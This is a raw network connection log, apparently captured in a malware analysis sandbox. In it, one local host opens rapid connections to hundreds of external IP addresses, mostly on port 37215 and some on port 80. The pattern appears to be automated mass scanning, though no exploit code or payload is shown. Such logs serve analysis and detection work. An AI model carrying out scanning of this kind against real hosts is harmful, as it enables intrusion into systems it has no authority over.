Jan 5, 2025 14:34:52.993746996 CET	29479	37215	192.168.2.13	41.12.59.19
Jan 5, 2025 14:34:52.993748903 CET	29479	37215	192.168.2.13	41.202.183.84
Jan 5, 2025 14:34:52.993748903 CET	29479	37215	192.168.2.13	197.62.199.130
Jan 5, 2025 14:34:52.993752956 CET	29479	37215	192.168.2.13	41.58.163.151
Jan 5, 2025 14:34:52.993752956 CET	29479	37215	192.168.2.13	41.212.165.230
Jan 5, 2025 14:34:52.993756056 CET	29479	37215	192.168.2.13	156.81.86.83
Jan 5, 2025 14:34:52.993769884 CET	29479	37215	192.168.2.13	197.81.248.187
Jan 5, 2025 14:34:52.993771076 CET	29479	37215	192.168.2.13	41.205.244.169
Jan 5, 2025 14:34:52.993779898 CET	29479	37215	192.168.2.13	197.189.79.98
Jan 5, 2025 14:34:52.993779898 CET	29479	37215	192.168.2.13	156.200.223.32
Jan 5, 2025 14:34:52.993788004 CET	29479	37215	192.168.2.13	156.98.34.162
Jan 5, 2025 14:34:52.993788958 CET	29479	37215	192.168.2.13	41.68.149.49
Jan 5, 2025 14:34:52.993791103 CET	29479	37215	192.168.2.13	156.104.51.141
Jan 5, 2025 14:34:52.993798971 CET	29479	37215	192.168.2.13	41.104.84.223
Jan 5, 2025 14:34:52.993809938 CET	29479	37215	192.168.2.13	41.238.224.235
Jan 5, 2025 14:34:52.993812084 CET	29479	37215	192.168.2.13	41.228.166.253
Jan 5, 2025 14:34:52.993812084 CET	29479	37215	192.168.2.13	156.200.78.228
Jan 5, 2025 14:34:52.993813038 CET	29479	37215	192.168.2.13	156.170.172.16
Jan 5, 2025 14:34:52.993814945 CET	29479	37215	192.168.2.13	41.5.73.193
Jan 5, 2025 14:34:52.993827105 CET	29479	37215	192.168.2.13	156.42.119.252
Jan 5, 2025 14:34:52.993829012 CET	29479	37215	192.168.2.13	41.19.85.75
Jan 5, 2025 14:34:52.993830919 CET	29479	37215	192.168.2.13	41.120.1.206
Jan 5, 2025 14:34:52.993833065 CET	29479	37215	192.168.2.13	41.119.36.41
Jan 5, 2025 14:34:52.993837118 CET	29479	37215	192.168.2.13	156.80.196.248
Jan 5, 2025 14:34:52.993850946 CET	29479	37215	192.168.2.13	41.123.188.241
Jan 5, 2025 14:34:52.993851900 CET	29479	37215	192.168.2.13	41.238.180.87
Jan 5, 2025 14:34:52.993851900 CET	29479	37215	192.168.2.13	41.125.184.13
Jan 5, 2025 14:34:52.993856907 CET	29479	37215	192.168.2.13	197.102.14.196
Jan 5, 2025 14:34:52.993872881 CET	29479	37215	192.168.2.13	197.58.52.63
Jan 5, 2025 14:34:52.993880987 CET	29479	37215	192.168.2.13	41.147.199.233
Jan 5, 2025 14:34:52.993880987 CET	29479	37215	192.168.2.13	41.207.83.93
Jan 5, 2025 14:34:52.993884087 CET	29479	37215	192.168.2.13	156.72.177.4
Jan 5, 2025 14:34:52.993889093 CET	29479	37215	192.168.2.13	156.79.225.2
Jan 5, 2025 14:34:52.993892908 CET	29479	37215	192.168.2.13	197.181.153.111
Jan 5, 2025 14:34:52.993899107 CET	29479	37215	192.168.2.13	41.245.236.174
Jan 5, 2025 14:34:52.993900061 CET	29479	37215	192.168.2.13	197.178.68.143
Jan 5, 2025 14:34:52.993912935 CET	29479	37215	192.168.2.13	156.230.42.87
Jan 5, 2025 14:34:52.993916988 CET	29479	37215	192.168.2.13	41.23.194.193
Jan 5, 2025 14:34:52.993922949 CET	29479	37215	192.168.2.13	41.88.190.176
Jan 5, 2025 14:34:52.993932962 CET	29479	37215	192.168.2.13	156.224.187.218
Jan 5, 2025 14:34:52.993946075 CET	29479	37215	192.168.2.13	41.158.230.1
Jan 5, 2025 14:34:52.993948936 CET	29479	37215	192.168.2.13	156.107.231.122
Jan 5, 2025 14:34:52.993948936 CET	29479	37215	192.168.2.13	197.35.215.194
Jan 5, 2025 14:34:52.993948936 CET	29479	37215	192.168.2.13	41.101.119.228
Jan 5, 2025 14:34:52.993948936 CET	29479	37215	192.168.2.13	197.76.19.72
Jan 5, 2025 14:34:52.993949890 CET	29479	37215	192.168.2.13	156.14.15.78
Jan 5, 2025 14:34:52.993949890 CET	29479	37215	192.168.2.13	156.156.202.201
Jan 5, 2025 14:34:52.993952036 CET	29479	37215	192.168.2.13	156.126.67.111
Jan 5, 2025 14:34:52.993957996 CET	29479	37215	192.168.2.13	197.163.62.251
Jan 5, 2025 14:34:52.993958950 CET	29479	37215	192.168.2.13	156.201.175.242
Jan 5, 2025 14:34:52.993962049 CET	29479	37215	192.168.2.13	156.124.75.53
Jan 5, 2025 14:34:52.993977070 CET	29479	37215	192.168.2.13	156.175.226.83
Jan 5, 2025 14:34:52.993977070 CET	29479	37215	192.168.2.13	197.89.211.146
Jan 5, 2025 14:34:52.993988037 CET	29479	37215	192.168.2.13	156.167.49.28
Jan 5, 2025 14:34:52.993993998 CET	29479	37215	192.168.2.13	41.76.129.202
Jan 5, 2025 14:34:52.993997097 CET	29479	37215	192.168.2.13	41.5.19.163
Jan 5, 2025 14:34:52.993997097 CET	29479	37215	192.168.2.13	156.38.153.252
Jan 5, 2025 14:34:52.994004965 CET	29479	37215	192.168.2.13	41.43.97.83
Jan 5, 2025 14:34:52.994007111 CET	29479	37215	192.168.2.13	197.225.252.199
Jan 5, 2025 14:34:52.994012117 CET	29479	37215	192.168.2.13	197.58.134.219
Jan 5, 2025 14:34:52.994012117 CET	29479	37215	192.168.2.13	156.43.53.16
Jan 5, 2025 14:34:52.994014978 CET	29479	37215	192.168.2.13	41.246.87.24
Jan 5, 2025 14:34:52.994014978 CET	29479	37215	192.168.2.13	41.246.180.139
Jan 5, 2025 14:34:52.994019032 CET	29479	37215	192.168.2.13	197.37.168.152
Jan 5, 2025 14:34:52.994039059 CET	29479	37215	192.168.2.13	197.109.174.14
Jan 5, 2025 14:34:52.994044065 CET	29479	37215	192.168.2.13	41.146.172.46
Jan 5, 2025 14:34:52.994050980 CET	29479	37215	192.168.2.13	156.37.191.2
Jan 5, 2025 14:34:52.994067907 CET	29479	37215	192.168.2.13	197.91.170.209
Jan 5, 2025 14:34:52.994069099 CET	29479	37215	192.168.2.13	41.255.224.131
Jan 5, 2025 14:34:52.994069099 CET	29479	37215	192.168.2.13	156.105.78.65
Jan 5, 2025 14:34:52.994069099 CET	29479	37215	192.168.2.13	156.179.51.88
Jan 5, 2025 14:34:52.994069099 CET	29479	37215	192.168.2.13	41.211.212.59
Jan 5, 2025 14:34:52.994081974 CET	29479	37215	192.168.2.13	156.168.37.1
Jan 5, 2025 14:34:52.994081974 CET	29479	37215	192.168.2.13	156.252.5.151
Jan 5, 2025 14:34:52.994082928 CET	29479	37215	192.168.2.13	156.172.180.203
Jan 5, 2025 14:34:52.994083881 CET	29479	37215	192.168.2.13	156.46.238.25
Jan 5, 2025 14:34:52.994083881 CET	29479	37215	192.168.2.13	197.164.244.8
Jan 5, 2025 14:34:52.994086027 CET	29479	37215	192.168.2.13	156.100.192.244
Jan 5, 2025 14:34:52.994086027 CET	29479	37215	192.168.2.13	41.76.234.185
Jan 5, 2025 14:34:52.994086027 CET	29479	37215	192.168.2.13	197.166.27.250
Jan 5, 2025 14:34:52.994096041 CET	29479	37215	192.168.2.13	41.238.196.57
Jan 5, 2025 14:34:52.994096994 CET	29479	37215	192.168.2.13	156.83.95.85
Jan 5, 2025 14:34:52.994101048 CET	29479	37215	192.168.2.13	41.143.102.76
Jan 5, 2025 14:34:52.994102001 CET	29479	37215	192.168.2.13	197.86.137.189
Jan 5, 2025 14:34:52.994108915 CET	29479	37215	192.168.2.13	156.165.217.29
Jan 5, 2025 14:34:52.994117975 CET	29479	37215	192.168.2.13	197.242.206.81
Jan 5, 2025 14:34:52.994117975 CET	29479	37215	192.168.2.13	156.91.20.250
Jan 5, 2025 14:34:52.994122028 CET	29479	37215	192.168.2.13	41.106.11.73
Jan 5, 2025 14:34:52.994147062 CET	29479	37215	192.168.2.13	41.133.106.20
Jan 5, 2025 14:34:52.994183064 CET	29479	37215	192.168.2.13	41.111.220.9
Jan 5, 2025 14:34:52.994183064 CET	29479	37215	192.168.2.13	41.132.79.76
Jan 5, 2025 14:34:52.994185925 CET	29479	37215	192.168.2.13	197.226.112.107
Jan 5, 2025 14:34:52.994191885 CET	29479	37215	192.168.2.13	156.194.220.205
Jan 5, 2025 14:34:52.994191885 CET	29479	37215	192.168.2.13	197.129.242.196
Jan 5, 2025 14:34:52.994194031 CET	29479	37215	192.168.2.13	197.65.134.86
Jan 5, 2025 14:34:52.994194031 CET	29479	37215	192.168.2.13	156.223.145.58
Jan 5, 2025 14:34:52.994194031 CET	29479	37215	192.168.2.13	156.7.112.81
Jan 5, 2025 14:34:52.994196892 CET	29479	37215	192.168.2.13	41.138.27.185
Jan 5, 2025 14:34:52.994199038 CET	29479	37215	192.168.2.13	156.73.252.211
Jan 5, 2025 14:34:52.994201899 CET	29479	37215	192.168.2.13	197.169.110.51
Jan 5, 2025 14:34:52.994201899 CET	29479	37215	192.168.2.13	156.95.188.62
Jan 5, 2025 14:34:52.994206905 CET	29479	37215	192.168.2.13	156.44.236.59
Jan 5, 2025 14:34:52.994206905 CET	29479	37215	192.168.2.13	156.228.145.5
Jan 5, 2025 14:34:52.994210005 CET	29479	37215	192.168.2.13	41.164.220.50
Jan 5, 2025 14:34:52.994211912 CET	29479	37215	192.168.2.13	197.22.153.162
Jan 5, 2025 14:34:52.994216919 CET	29479	37215	192.168.2.13	156.101.147.91
Jan 5, 2025 14:34:52.994224072 CET	29479	37215	192.168.2.13	41.21.127.16
Jan 5, 2025 14:34:52.994226933 CET	29479	37215	192.168.2.13	41.184.207.71
Jan 5, 2025 14:34:52.994226933 CET	29479	37215	192.168.2.13	197.121.94.168
Jan 5, 2025 14:34:52.994226933 CET	29479	37215	192.168.2.13	156.244.61.18
Jan 5, 2025 14:34:52.994236946 CET	29479	37215	192.168.2.13	197.124.230.144
Jan 5, 2025 14:34:52.994241953 CET	29479	37215	192.168.2.13	197.60.171.115
Jan 5, 2025 14:34:52.994241953 CET	29479	37215	192.168.2.13	41.224.7.13
Jan 5, 2025 14:34:52.994245052 CET	29479	37215	192.168.2.13	156.201.136.149
Jan 5, 2025 14:34:52.994246006 CET	29479	37215	192.168.2.13	41.174.39.146
Jan 5, 2025 14:34:52.994246006 CET	29479	37215	192.168.2.13	156.94.73.146
Jan 5, 2025 14:34:52.994246006 CET	29479	37215	192.168.2.13	197.134.143.145
Jan 5, 2025 14:34:52.994260073 CET	29479	37215	192.168.2.13	197.110.187.147
Jan 5, 2025 14:34:52.994265079 CET	29479	37215	192.168.2.13	41.167.71.17
Jan 5, 2025 14:34:52.994291067 CET	29479	37215	192.168.2.13	197.117.216.86
Jan 5, 2025 14:34:52.994291067 CET	29479	37215	192.168.2.13	156.82.87.175
Jan 5, 2025 14:34:52.994292021 CET	49834	80	192.168.2.13	95.145.163.29
Jan 5, 2025 14:34:52.994294882 CET	29479	37215	192.168.2.13	156.195.238.171
Jan 5, 2025 14:34:52.994297981 CET	29479	37215	192.168.2.13	41.80.37.41
Jan 5, 2025 14:34:52.994302034 CET	29479	37215	192.168.2.13	156.5.139.97
Jan 5, 2025 14:34:52.994306087 CET	29479	37215	192.168.2.13	156.218.249.22
Jan 5, 2025 14:34:52.994308949 CET	29479	37215	192.168.2.13	156.206.55.122
Jan 5, 2025 14:34:52.994319916 CET	29479	37215	192.168.2.13	197.132.158.180
Jan 5, 2025 14:34:52.994330883 CET	29479	37215	192.168.2.13	156.78.139.219
Jan 5, 2025 14:34:52.994332075 CET	29479	37215	192.168.2.13	197.13.125.19
Jan 5, 2025 14:34:52.994334936 CET	29479	37215	192.168.2.13	197.61.27.99
Jan 5, 2025 14:34:52.994344950 CET	29479	37215	192.168.2.13	41.29.166.169
Jan 5, 2025 14:34:52.994359970 CET	29479	37215	192.168.2.13	156.124.77.252
Jan 5, 2025 14:34:52.994359970 CET	29479	37215	192.168.2.13	41.34.159.167
Jan 5, 2025 14:34:52.994359970 CET	29479	37215	192.168.2.13	41.209.162.92
Jan 5, 2025 14:34:52.994359970 CET	29479	37215	192.168.2.13	156.244.133.90
Jan 5, 2025 14:34:52.994360924 CET	29479	37215	192.168.2.13	156.196.8.122
Jan 5, 2025 14:34:52.994360924 CET	29479	37215	192.168.2.13	41.228.125.133
Jan 5, 2025 14:34:52.994360924 CET	29479	37215	192.168.2.13	197.29.219.1
Jan 5, 2025 14:34:52.994360924 CET	29479	37215	192.168.2.13	197.74.142.20
Jan 5, 2025 14:34:52.994363070 CET	29479	37215	192.168.2.13	41.123.69.4
Jan 5, 2025 14:34:52.994370937 CET	29479	37215	192.168.2.13	156.49.41.233
Jan 5, 2025 14:34:52.994371891 CET	29479	37215	192.168.2.13	156.175.31.173
Jan 5, 2025 14:34:52.994371891 CET	29479	37215	192.168.2.13	156.177.18.73
Jan 5, 2025 14:34:52.994385004 CET	29479	37215	192.168.2.13	156.74.126.99
Jan 5, 2025 14:34:52.994389057 CET	29479	37215	192.168.2.13	197.26.155.160
Jan 5, 2025 14:34:52.994395971 CET	29479	37215	192.168.2.13	156.132.43.88
Jan 5, 2025 14:34:52.994396925 CET	29479	37215	192.168.2.13	156.67.76.77
Jan 5, 2025 14:34:52.994396925 CET	29479	37215	192.168.2.13	41.63.59.124
Jan 5, 2025 14:34:52.994402885 CET	29479	37215	192.168.2.13	41.60.114.250
Jan 5, 2025 14:34:52.994405031 CET	29479	37215	192.168.2.13	156.206.211.170
Jan 5, 2025 14:34:52.994409084 CET	29479	37215	192.168.2.13	41.71.35.113
Jan 5, 2025 14:34:52.994409084 CET	29479	37215	192.168.2.13	41.63.123.108
Jan 5, 2025 14:34:52.994410992 CET	29479	37215	192.168.2.13	156.134.94.11
Jan 5, 2025 14:34:52.994414091 CET	29479	37215	192.168.2.13	156.47.203.143
Jan 5, 2025 14:34:52.994414091 CET	29479	37215	192.168.2.13	156.235.49.242
Jan 5, 2025 14:34:52.994424105 CET	29479	37215	192.168.2.13	197.0.112.44
Jan 5, 2025 14:34:52.994425058 CET	29479	37215	192.168.2.13	197.138.71.159
Jan 5, 2025 14:34:52.994429111 CET	29479	37215	192.168.2.13	197.251.13.15
Jan 5, 2025 14:34:52.994436026 CET	29479	37215	192.168.2.13	156.5.70.196
Jan 5, 2025 14:34:52.994447947 CET	29479	37215	192.168.2.13	156.156.181.194
Jan 5, 2025 14:34:52.994452000 CET	29479	37215	192.168.2.13	41.196.167.76
Jan 5, 2025 14:34:52.994463921 CET	29479	37215	192.168.2.13	156.101.246.123
Jan 5, 2025 14:34:52.994472027 CET	29479	37215	192.168.2.13	197.78.7.55
Jan 5, 2025 14:34:52.994477987 CET	29479	37215	192.168.2.13	41.169.147.255
Jan 5, 2025 14:34:52.994477987 CET	29479	37215	192.168.2.13	197.87.206.128
Jan 5, 2025 14:34:52.994477987 CET	29479	37215	192.168.2.13	156.41.249.235
Jan 5, 2025 14:34:52.994491100 CET	29479	37215	192.168.2.13	156.77.186.36
Jan 5, 2025 14:34:52.994494915 CET	29479	37215	192.168.2.13	41.161.182.190
Jan 5, 2025 14:34:52.994496107 CET	29479	37215	192.168.2.13	197.228.81.205
Jan 5, 2025 14:34:52.994494915 CET	29479	37215	192.168.2.13	197.197.165.254
Jan 5, 2025 14:34:52.994498014 CET	29479	37215	192.168.2.13	41.124.79.92
Jan 5, 2025 14:34:52.994499922 CET	29479	37215	192.168.2.13	197.34.55.57
Jan 5, 2025 14:34:52.994503021 CET	29479	37215	192.168.2.13	41.16.41.202
Jan 5, 2025 14:34:52.994504929 CET	29479	37215	192.168.2.13	41.33.69.253
Jan 5, 2025 14:34:52.994512081 CET	29479	37215	192.168.2.13	197.18.181.188
Jan 5, 2025 14:34:52.994518042 CET	29479	37215	192.168.2.13	41.247.44.7
Jan 5, 2025 14:34:52.994529009 CET	29479	37215	192.168.2.13	156.45.158.158
Jan 5, 2025 14:34:52.994529009 CET	29479	37215	192.168.2.13	197.129.96.27
Jan 5, 2025 14:34:52.994529963 CET	29479	37215	192.168.2.13	156.31.74.69
Jan 5, 2025 14:34:52.994529963 CET	29479	37215	192.168.2.13	197.29.198.21
Jan 5, 2025 14:34:52.994533062 CET	29479	37215	192.168.2.13	41.227.36.118
Jan 5, 2025 14:34:52.994541883 CET	29479	37215	192.168.2.13	156.178.154.55
Jan 5, 2025 14:34:52.994548082 CET	29479	37215	192.168.2.13	156.249.159.27
Jan 5, 2025 14:34:52.994550943 CET	29479	37215	192.168.2.13	156.80.253.23
Jan 5, 2025 14:34:52.994551897 CET	29479	37215	192.168.2.13	156.107.78.155
Jan 5, 2025 14:34:52.994555950 CET	29479	37215	192.168.2.13	41.59.156.154
Jan 5, 2025 14:34:52.994558096 CET	29479	37215	192.168.2.13	41.90.64.196
Jan 5, 2025 14:34:52.994581938 CET	29479	37215	192.168.2.13	197.91.18.148
Jan 5, 2025 14:34:52.994584084 CET	29479	37215	192.168.2.13	156.17.199.250
Jan 5, 2025 14:34:52.994587898 CET	29479	37215	192.168.2.13	41.93.37.97
Jan 5, 2025 14:34:52.994594097 CET	29479	37215	192.168.2.13	41.148.101.91
Jan 5, 2025 14:34:52.994594097 CET	29479	37215	192.168.2.13	41.177.49.188
Jan 5, 2025 14:34:52.994606972 CET	29479	37215	192.168.2.13	156.100.101.130
Jan 5, 2025 14:34:52.994606972 CET	29479	37215	192.168.2.13	41.252.14.234
Jan 5, 2025 14:34:52.994611025 CET	29479	37215	192.168.2.13	41.112.66.247
Jan 5, 2025 14:34:52.994611025 CET	29479	37215	192.168.2.13	197.169.236.54
Jan 5, 2025 14:34:52.994621038 CET	29479	37215	192.168.2.13	197.170.87.220
Jan 5, 2025 14:34:52.994627953 CET	29479	37215	192.168.2.13	156.217.39.30
Jan 5, 2025 14:34:52.994633913 CET	29479	37215	192.168.2.13	197.1.247.193
Jan 5, 2025 14:34:52.994645119 CET	29479	37215	192.168.2.13	197.31.137.50
Jan 5, 2025 14:34:52.994647026 CET	29479	37215	192.168.2.13	156.214.213.73
Jan 5, 2025 14:34:52.994658947 CET	29479	37215	192.168.2.13	197.204.241.217
Jan 5, 2025 14:34:52.994664907 CET	29479	37215	192.168.2.13	197.222.73.5
Jan 5, 2025 14:34:52.994664907 CET	29479	37215	192.168.2.13	156.38.178.155
Jan 5, 2025 14:34:52.994664907 CET	29479	37215	192.168.2.13	156.247.13.201
Jan 5, 2025 14:34:52.994664907 CET	29479	37215	192.168.2.13	156.99.244.114
Jan 5, 2025 14:34:52.994666100 CET	29479	37215	192.168.2.13	197.62.158.198
Jan 5, 2025 14:34:52.994684935 CET	29479	37215	192.168.2.13	156.103.179.157
Jan 5, 2025 14:34:52.994689941 CET	29479	37215	192.168.2.13	41.131.162.214
Jan 5, 2025 14:34:52.994689941 CET	29479	37215	192.168.2.13	197.101.142.92
Jan 5, 2025 14:34:52.994693041 CET	29479	37215	192.168.2.13	197.158.66.205
Jan 5, 2025 14:34:52.994699001 CET	29479	37215	192.168.2.13	156.86.198.168
Jan 5, 2025 14:34:52.994705915 CET	29479	37215	192.168.2.13	197.92.215.142
Jan 5, 2025 14:34:52.994709015 CET	29479	37215	192.168.2.13	156.213.123.26
Jan 5, 2025 14:34:52.994719982 CET	29479	37215	192.168.2.13	197.80.213.167
Jan 5, 2025 14:34:52.994720936 CET	29479	37215	192.168.2.13	197.113.225.98
Jan 5, 2025 14:34:52.994720936 CET	29479	37215	192.168.2.13	41.89.60.194
Jan 5, 2025 14:34:52.994726896 CET	29479	37215	192.168.2.13	197.175.220.205
Jan 5, 2025 14:34:52.994740009 CET	29479	37215	192.168.2.13	156.255.98.86
Jan 5, 2025 14:34:52.994743109 CET	29479	37215	192.168.2.13	156.101.93.178
Jan 5, 2025 14:34:52.994746923 CET	29479	37215	192.168.2.13	156.40.172.190
Jan 5, 2025 14:34:52.994746923 CET	29479	37215	192.168.2.13	197.62.238.117
Jan 5, 2025 14:34:52.994748116 CET	29479	37215	192.168.2.13	41.51.11.215
Jan 5, 2025 14:34:52.994760036 CET	29479	37215	192.168.2.13	156.224.213.194
Jan 5, 2025 14:34:52.994770050 CET	29479	37215	192.168.2.13	197.202.49.63
Jan 5, 2025 14:34:52.994772911 CET	29479	37215	192.168.2.13	156.177.28.89
Jan 5, 2025 14:34:52.994779110 CET	29479	37215	192.168.2.13	41.151.27.11
Jan 5, 2025 14:34:52.994781971 CET	29479	37215	192.168.2.13	156.32.170.14
Jan 5, 2025 14:34:52.994782925 CET	29479	37215	192.168.2.13	156.105.162.59
Jan 5, 2025 14:34:52.994782925 CET	29479	37215	192.168.2.13	156.164.161.251
Jan 5, 2025 14:34:52.994796038 CET	29479	37215	192.168.2.13	197.177.13.54
Jan 5, 2025 14:34:52.994797945 CET	29479	37215	192.168.2.13	197.103.94.20
Jan 5, 2025 14:34:52.994800091 CET	29479	37215	192.168.2.13	197.117.155.199
Jan 5, 2025 14:34:52.994800091 CET	29479	37215	192.168.2.13	197.152.176.212
Jan 5, 2025 14:34:52.994800091 CET	29479	37215	192.168.2.13	197.223.43.196
Jan 5, 2025 14:34:52.994800091 CET	29479	37215	192.168.2.13	156.55.47.42
Jan 5, 2025 14:34:52.994801044 CET	29479	37215	192.168.2.13	197.121.35.66
Jan 5, 2025 14:34:52.994801044 CET	29479	37215	192.168.2.13	156.186.166.174
Jan 5, 2025 14:34:52.994802952 CET	29479	37215	192.168.2.13	156.11.205.188
Jan 5, 2025 14:34:52.994821072 CET	29479	37215	192.168.2.13	156.45.237.244
Jan 5, 2025 14:34:52.994827032 CET	29479	37215	192.168.2.13	197.165.247.26
Jan 5, 2025 14:34:52.994839907 CET	29479	37215	192.168.2.13	156.216.242.96
Jan 5, 2025 14:34:52.994839907 CET	29479	37215	192.168.2.13	41.209.149.174
Jan 5, 2025 14:34:52.994847059 CET	29479	37215	192.168.2.13	156.87.14.70
Jan 5, 2025 14:34:52.994856119 CET	29479	37215	192.168.2.13	41.157.64.147
Jan 5, 2025 14:34:52.994856119 CET	29479	37215	192.168.2.13	41.70.249.121
Jan 5, 2025 14:34:52.994856119 CET	29479	37215	192.168.2.13	41.216.210.189
Jan 5, 2025 14:34:52.994858027 CET	29479	37215	192.168.2.13	197.228.147.145
Jan 5, 2025 14:34:52.994858980 CET	29479	37215	192.168.2.13	41.221.128.18
Jan 5, 2025 14:34:52.994858980 CET	29479	37215	192.168.2.13	156.25.89.1
Jan 5, 2025 14:34:52.994868040 CET	29479	37215	192.168.2.13	156.243.226.105
Jan 5, 2025 14:34:52.994877100 CET	29479	37215	192.168.2.13	156.71.227.198
Jan 5, 2025 14:34:52.994879961 CET	29479	37215	192.168.2.13	197.182.56.35
Jan 5, 2025 14:34:52.994879961 CET	29479	37215	192.168.2.13	197.126.235.143
Jan 5, 2025 14:34:52.994882107 CET	29479	37215	192.168.2.13	41.56.148.165
Jan 5, 2025 14:34:52.994891882 CET	29479	37215	192.168.2.13	41.232.2.99
Jan 5, 2025 14:34:52.994894981 CET	29479	37215	192.168.2.13	197.86.141.254
Jan 5, 2025 14:34:52.994910002 CET	29479	37215	192.168.2.13	156.95.177.91
Jan 5, 2025 14:34:52.994910955 CET	29479	37215	192.168.2.13	41.190.236.224
Jan 5, 2025 14:34:52.994921923 CET	29479	37215	192.168.2.13	41.65.11.232
Jan 5, 2025 14:34:52.994930029 CET	29479	37215	192.168.2.13	197.213.6.113
Jan 5, 2025 14:34:52.994931936 CET	29479	37215	192.168.2.13	156.43.27.75
Jan 5, 2025 14:34:52.994932890 CET	29479	37215	192.168.2.13	156.27.54.156
Jan 5, 2025 14:34:52.994935036 CET	29479	37215	192.168.2.13	156.27.135.254
Jan 5, 2025 14:34:52.994944096 CET	29479	37215	192.168.2.13	156.119.29.108
Jan 5, 2025 14:34:52.994946003 CET	29479	37215	192.168.2.13	156.193.177.202
Jan 5, 2025 14:34:52.994947910 CET	29479	37215	192.168.2.13	41.68.10.219
Jan 5, 2025 14:34:52.994960070 CET	29479	37215	192.168.2.13	156.223.23.130
Jan 5, 2025 14:34:52.994965076 CET	29479	37215	192.168.2.13	156.44.90.103
Jan 5, 2025 14:34:52.994965076 CET	29479	37215	192.168.2.13	197.2.228.248
Jan 5, 2025 14:34:52.994967937 CET	29479	37215	192.168.2.13	156.6.63.2
Jan 5, 2025 14:34:52.994968891 CET	29479	37215	192.168.2.13	41.35.55.133
Jan 5, 2025 14:34:52.994968891 CET	29479	37215	192.168.2.13	156.159.206.37
Jan 5, 2025 14:34:52.994987965 CET	29479	37215	192.168.2.13	41.62.183.203
Jan 5, 2025 14:34:52.994988918 CET	29479	37215	192.168.2.13	156.45.241.31
Jan 5, 2025 14:34:52.994992018 CET	29479	37215	192.168.2.13	156.110.199.177
Jan 5, 2025 14:34:52.994992018 CET	29479	37215	192.168.2.13	41.46.221.38
Jan 5, 2025 14:34:52.994997025 CET	29479	37215	192.168.2.13	156.206.177.213
Jan 5, 2025 14:34:52.994999886 CET	29479	37215	192.168.2.13	197.189.164.191
Jan 5, 2025 14:34:52.995141983 CET	49940	37215	192.168.2.13	156.108.75.55
Jan 5, 2025 14:34:52.995178938 CET	49940	37215	192.168.2.13	156.108.75.55
Jan 5, 2025 14:34:52.995244026 CET	34570	80	192.168.2.13	113.255.83.238
Jan 5, 2025 14:34:52.996128082 CET	50562	37215	192.168.2.13	156.108.75.55
Jan 5, 2025 14:34:52.996710062 CET	51602	80	192.168.2.13	88.209.200.173
Jan 5, 2025 14:34:52.996967077 CET	59402	37215	192.168.2.13	197.199.121.75
Jan 5, 2025 14:34:52.996967077 CET	59402	37215	192.168.2.13	197.199.121.75
Jan 5, 2025 14:34:52.997838974 CET	60000	37215	192.168.2.13	197.199.121.75
Jan 5, 2025 14:34:52.998542070 CET	43838	80	192.168.2.13	175.245.253.17
Jan 5, 2025 14:34:52.998778105 CET	44044	37215	192.168.2.13	156.64.87.47
Jan 5, 2025 14:34:52.998778105 CET	44044	37215	192.168.2.13	156.64.87.47
Jan 5, 2025 14:34:52.999531984 CET	44628	37215	192.168.2.13	156.64.87.47
Jan 5, 2025 14:34:52.999921083 CET	37215	49940	156.108.75.55	192.168.2.13
Jan 5, 2025 14:34:53.000227928 CET	54196	80	192.168.2.13	71.104.122.79
Jan 5, 2025 14:34:53.000319004 CET	56562	37215	192.168.2.13	41.182.70.62
Jan 5, 2025 14:34:53.000346899 CET	56562	37215	192.168.2.13	41.182.70.62
Jan 5, 2025 14:34:53.001133919 CET	37215	50562	156.108.75.55	192.168.2.13
Jan 5, 2025 14:34:53.001173019 CET	50562	37215	192.168.2.13	156.108.75.55
Jan 5, 2025 14:34:53.001207113 CET	57102	37215	192.168.2.13	41.182.70.62
Jan 5, 2025 14:34:53.001770973 CET	37215	59402	197.199.121.75	192.168.2.13
Jan 5, 2025 14:34:53.001837969 CET	46954	80	192.168.2.13	120.114.84.38
Jan 5, 2025 14:34:53.002063990 CET	40130	37215	192.168.2.13	197.132.40.247
Jan 5, 2025 14:34:53.002082109 CET	40130	37215	192.168.2.13	197.132.40.247
Jan 5, 2025 14:34:53.002844095 CET	40646	37215	192.168.2.13	197.132.40.247
Jan 5, 2025 14:34:53.003410101 CET	50742	80	192.168.2.13	186.171.85.18
Jan 5, 2025 14:34:53.003590107 CET	37215	44044	156.64.87.47	192.168.2.13
Jan 5, 2025 14:34:53.003622055 CET	56562	37215	192.168.2.13	41.214.12.69
Jan 5, 2025 14:34:53.003622055 CET	56562	37215	192.168.2.13	41.214.12.69
Jan 5, 2025 14:34:53.004509926 CET	57066	37215	192.168.2.13	41.214.12.69
Jan 5, 2025 14:34:53.005135059 CET	37215	56562	41.182.70.62	192.168.2.13
Jan 5, 2025 14:34:53.005249977 CET	46456	80	192.168.2.13	181.97.38.177
Jan 5, 2025 14:34:53.005464077 CET	57124	37215	192.168.2.13	41.72.218.62
Jan 5, 2025 14:34:53.005464077 CET	57124	37215	192.168.2.13	41.72.218.62
Jan 5, 2025 14:34:53.006159067 CET	57608	37215	192.168.2.13	41.72.218.62
Jan 5, 2025 14:34:53.006858110 CET	37215	40130	197.132.40.247	192.168.2.13
Jan 5, 2025 14:34:53.006911039 CET	59414	80	192.168.2.13	96.154.183.189
Jan 5, 2025 14:34:53.007045984 CET	35762	37215	192.168.2.13	197.112.77.190
Jan 5, 2025 14:34:53.007045984 CET	35762	37215	192.168.2.13	197.112.77.190
Jan 5, 2025 14:34:53.007915020 CET	36180	37215	192.168.2.13	197.112.77.190
Jan 5, 2025 14:34:53.008213043 CET	80	50742	186.171.85.18	192.168.2.13
Jan 5, 2025 14:34:53.008275032 CET	50742	80	192.168.2.13	186.171.85.18
Jan 5, 2025 14:34:53.008390903 CET	37215	56562	41.214.12.69	192.168.2.13
Jan 5, 2025 14:34:53.008630037 CET	42582	80	192.168.2.13	20.82.200.219
Jan 5, 2025 14:34:53.008789062 CET	45200	37215	192.168.2.13	197.49.199.148
Jan 5, 2025 14:34:53.008797884 CET	45200	37215	192.168.2.13	197.49.199.148
Jan 5, 2025 14:34:53.009608984 CET	45594	37215	192.168.2.13	197.49.199.148
Jan 5, 2025 14:34:53.010238886 CET	37215	57124	41.72.218.62	192.168.2.13
Jan 5, 2025 14:34:53.010369062 CET	51244	80	192.168.2.13	178.127.135.36
Jan 5, 2025 14:34:53.010633945 CET	35934	37215	192.168.2.13	197.169.104.42
Jan 5, 2025 14:34:53.010633945 CET	35934	37215	192.168.2.13	197.169.104.42
Jan 5, 2025 14:34:53.011907101 CET	37215	35762	197.112.77.190	192.168.2.13
Jan 5, 2025 14:34:53.013391018 CET	36316	37215	192.168.2.13	197.169.104.42
Jan 5, 2025 14:34:53.013614893 CET	37215	45200	197.49.199.148	192.168.2.13
